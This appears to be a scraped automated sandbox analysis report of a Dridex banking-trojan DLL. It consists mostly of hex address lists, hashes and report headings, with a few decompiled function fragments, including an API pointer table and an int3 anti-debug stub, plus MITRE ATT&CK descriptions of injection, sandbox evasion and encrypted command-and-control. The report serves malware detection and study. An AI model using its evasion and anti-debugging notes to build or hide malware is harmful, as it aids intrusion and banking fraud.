0x6f3f162a
0x6f3f162a
0x6f3f162b
0x6f3f162c
0x00000000
0x6f3f162a
0x6f3f15ef
0x6f3f15f3
0x00000000
0x00000000
0x00000000
0x6f3f1674
0x6f3f1674
0x6f3f1675
0x6f3f1678
0x6f3f1682
0x6f3f1682
0x6f3f1686
0x6f3f168d
0x6f3f16e8
0x6f3f16ed
0x6f3f1740
0x6f3f1740
0x6f3f1744
0x6f3f1748
0x6f3f1572
0x6f3f1575
0x6f3f157a
0x6f3f1580
0x6f3f1583
0x6f3f158a
0x6f3f158e
0x6f3f1595
0x6f3f159e
0x6f3f15a2
0x6f3f15a6
0x6f3f15ac
0x00000000
0x00000000
0x00000000
0x6f3f15ac
0x6f3f1752
0x6f3f175e
0x6f3f1769
0x6f3f1770
0x6f3f1779
0x6f3f1783
0x6f3f1784
0x6f3f1792
0x6f3f1797
0x6f3f1798
0x6f3f17a5
0x6f3f17aa
0x6f3f17bc
0x6f3f17c1
0x6f3f17c6
0x6f3f17d8
0x6f3f17ea
0x6f3f17ef
0x6f3f17fa
0x6f3f1801
0x6f3f1806
0x6f3f180e
0x6f3f1817
0x6f3f1817
0x6f3f1823
0x6f3f182a
0x6f3f1836
0x6f3f1842
0x6f3f1850
0x6f3f1861
0x6f3f1868
0x6f3f186d
0x6f3f1876
0x6f3f187b
0x6f3f187d
0x6f3f1881
0x6f3f1885
0x6f3f1892
0x6f3f189f
0x6f3f18a3
0x6f3f18b7
0x6f3f18bb
0x00000000
0x00000000
0x6f3f18d0
0x6f3f18d2
0x6f3f18da
0x6f3f18d7
0x6f3f18d7
0x6f3f18d7
0x6f3f18de
0x6f3f18e0
0x6f3f18e6
0x6f3f18ec
0x6f3f1948
0x6f3f1951
0x6f3f1955
0x6f3f1962
0x6f3f196b
0x6f3f1970
0x6f3f1974
0x6f3f1977
0x6f3f19d8
0x6f3f19ee
0x6f3f19f9
0x6f3f19fa
0x6f3f19fb
0x6f3f19ff
0x6f3f1a02
0x6f3f1c82
0x6f3f1c85
0x6f3f1c85
0x00000000
0x6f3f1a02
0x6f3f1981
0x6f3f1991
0x6f3f199a
0x6f3f19a3
0x6f3f19ac
0x6f3f19ad
0x6f3f19ae
0x6f3f19b3
0x6f3f19bb
0x6f3f19c3
0x00000000
0x00000000
0x00000000
0x6f3f19c5
0x6f3f18f5
0x6f3f18fa
0x6f3f18fe
0x6f3f18fe
0x6f3f1902
0x6f3f1905
0x00000000
0x00000000
0x6f3f1926
0x6f3f1928
0x6f3f192c
0x6f3f192e
0x00000000
0x00000000
0x6f3f1930
0x6f3f1937
0x6f3f1943
0x00000000
0x6f3f1943
0x6f3f190a
0x00000000
0x6f3f1a08
0x6f3f1a08
0x6f3f1a09
0x6f3f1a19
0x6f3f1a25
0x6f3f1a2e
0x6f3f1a37
0x6f3f1a40
0x00000000
0x6f3f1a40
0x6f3f16ef
0x6f3f16f1
0x6f3f16f3
0x6f3f16f8
0x6f3f16fd
0x6f3f1710
0x6f3f1726
0x6f3f172f
0x6f3f1730
0x6f3f1730
0x6f3f1732
0x6f3f1733
0x6f3f1736
0x6f3f173a
0x00000000
0x6f3f16f3
0x6f3f168f
0x6f3f1699
0x6f3f169a
0x6f3f169a
0x6f3f16a7
0x6f3f16b3
0x6f3f16b5
0x6f3f16b7
0x6f3f16bb
0x6f3f16cb
0x6f3f16cb
0x6f3f16d2
0x6f3f16d5
0x6f3f16d6
0x6f3f16da
0x6f3f16e4
0x00000000
0x6f3f16e4

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42ac13e4aa66528b4e5ba5c25369b5e52895b57b90dc551d229c7bb9e6fa7bda
Instruction ID: 2cf0152d164638f7f425c2cbfef84d080a7da63b875999954447fdce8c06976f
Opcode Fuzzy Hash: 42ac13e4aa66528b4e5ba5c25369b5e52895b57b90dc551d229c7bb9e6fa7bda
Instruction Fuzzy Hash: 1E328DB1509345DFC714EF24E880AAFB7E4AF95304F50892EE4958B2A0EB71E946CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6F3E6DC8, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6F3E6DC8() {

				 *0x6f3fd280 = GetUserNameW;
				 *0x6F3FD284 = MessageBoxW;
				 *0x6F3FD288 = GetLastError;
				 *0x6F3FD28C = CreateFileA;
				 *0x6F3FD290 = DebugBreak;
				 *0x6F3FD294 = FlushFileBuffers;
				 *0x6F3FD298 = FreeEnvironmentStringsA;
				 *0x6F3FD29C = GetConsoleOutputCP;
				 *0x6F3FD2A0 = GetEnvironmentStrings;
				 *0x6F3FD2A4 = GetLocaleInfoA;
				 *0x6F3FD2A8 = GetStartupInfoA;
				 *0x6F3FD2AC = GetStringTypeA;
				 *0x6F3FD2B0 = HeapValidate;
				 *0x6F3FD2B4 = IsBadReadPtr;
				 *0x6F3FD2B8 = LCMapStringA;
				 *0x6F3FD2BC = LoadLibraryA;
				 *0x6F3FD2C0 = OutputDebugStringA;
				return 0x6f3fd280;
			}

0x6f3e6dd9
0x6f3e6de1
0x6f3e6de4
0x6f3e6df3
0x6f3e6df6
0x6f3e6e05
0x6f3e6e08
0x6f3e6e17
0x6f3e6e1a
0x6f3e6e29
0x6f3e6e2c
0x6f3e6e3b
0x6f3e6e3e
0x6f3e6e4d
0x6f3e6e50
0x6f3e6e5f
0x6f3e6e62
0x6f3e6e65

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acb4fe10ee39d087ff55a11bef6a4385d0ce40da6810e32f2d4aaa8abac37fdf
Instruction ID: 2d061c8b63d4e97b8975a69aae916ce06dac2de1c7314f2b2b55e6167bc480ae
Opcode Fuzzy Hash: acb4fe10ee39d087ff55a11bef6a4385d0ce40da6810e32f2d4aaa8abac37fdf
Instruction Fuzzy Hash: DD11DFB8A16B02CF8B48CF09F190C517BFABB8E32031181AED8098B365D734A855DF94

Uniqueness

Uniqueness Score: -1.00%

Function 6F3EBC00, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E6F3EBC00(intOrPtr* __ecx) {
				void* _t1;
				intOrPtr* _t4;

				_t4 = __ecx;
				_t1 = E6F3EC33C(__ecx);
				if(_t1 != 0) {
					L4:
					return _t1;
				} else {
					_t1 = E6F3F2F8C(0xa5eabdf8, 0x2c2324e8);
					if(_t1 == 0) {
						 *_t4 = 0;
						goto L4;
					} else {
						_push( *_t4);
						asm("int3");
						return _t1;
					}
				}
			}

0x6f3ebc01
0x6f3ebc03
0x6f3ebc0a
0x6f3ebc29
0x6f3ebc2a
0x6f3ebc0c
0x6f3ebc16
0x6f3ebc1d
0x6f3ebc23
0x00000000
0x6f3ebc1f
0x6f3ebc1f
0x6f3ebc21
0x6f3ebc22
0x6f3ebc22
0x6f3ebc1d

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction ID: 964c7e56e599d146f3a52b2a9a27a8f6612d4e1e7526dee6ccb580a22d0266f2
Opcode Fuzzy Hash: 229d0e70dd984517c4ff88a566391a3803afd3012da0cf9cedecb5fa3dd55369
Instruction Fuzzy Hash: B3D01272148752A6EF161739BF00B59F79C4FD1155F14086759906F0A9CFA7D0528021

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report 923fc959_by_Libranalysis

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 2396 Parent PID: 5740

General

Chronological Activities

Analysis Process: cmd.exe PID: 3176 Parent PID: 2396

Function 6F3F07CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Function 6F3F218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Function 6F3F2790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Function 6F3F3060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 029F23FD, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 230
memoryCOMMON

Function 6F3F5DF0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Function 6F3F1140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Function 6F3F5720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Function 6F3F5AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Function 6F3F5B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Function 6F3F5B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Function 6F3F5B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Function 6F3F5B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Function 6F3F5B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Function 6F3F5D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Function 6F3F55B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Function 6F3F10CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 6F3F3564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Function 6F3E9144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Function 6F3E1494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Function 6F3EA5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Function 6F3F92DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 6F3E84E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 6F3F14D8, Relevance: .6, Instructions: 572
COMMONCrypto

Function 6F3E6DC8, Relevance: .0, Instructions: 36
COMMON

Function 6F3EBC00, Relevance: .0, Instructions: 16
COMMON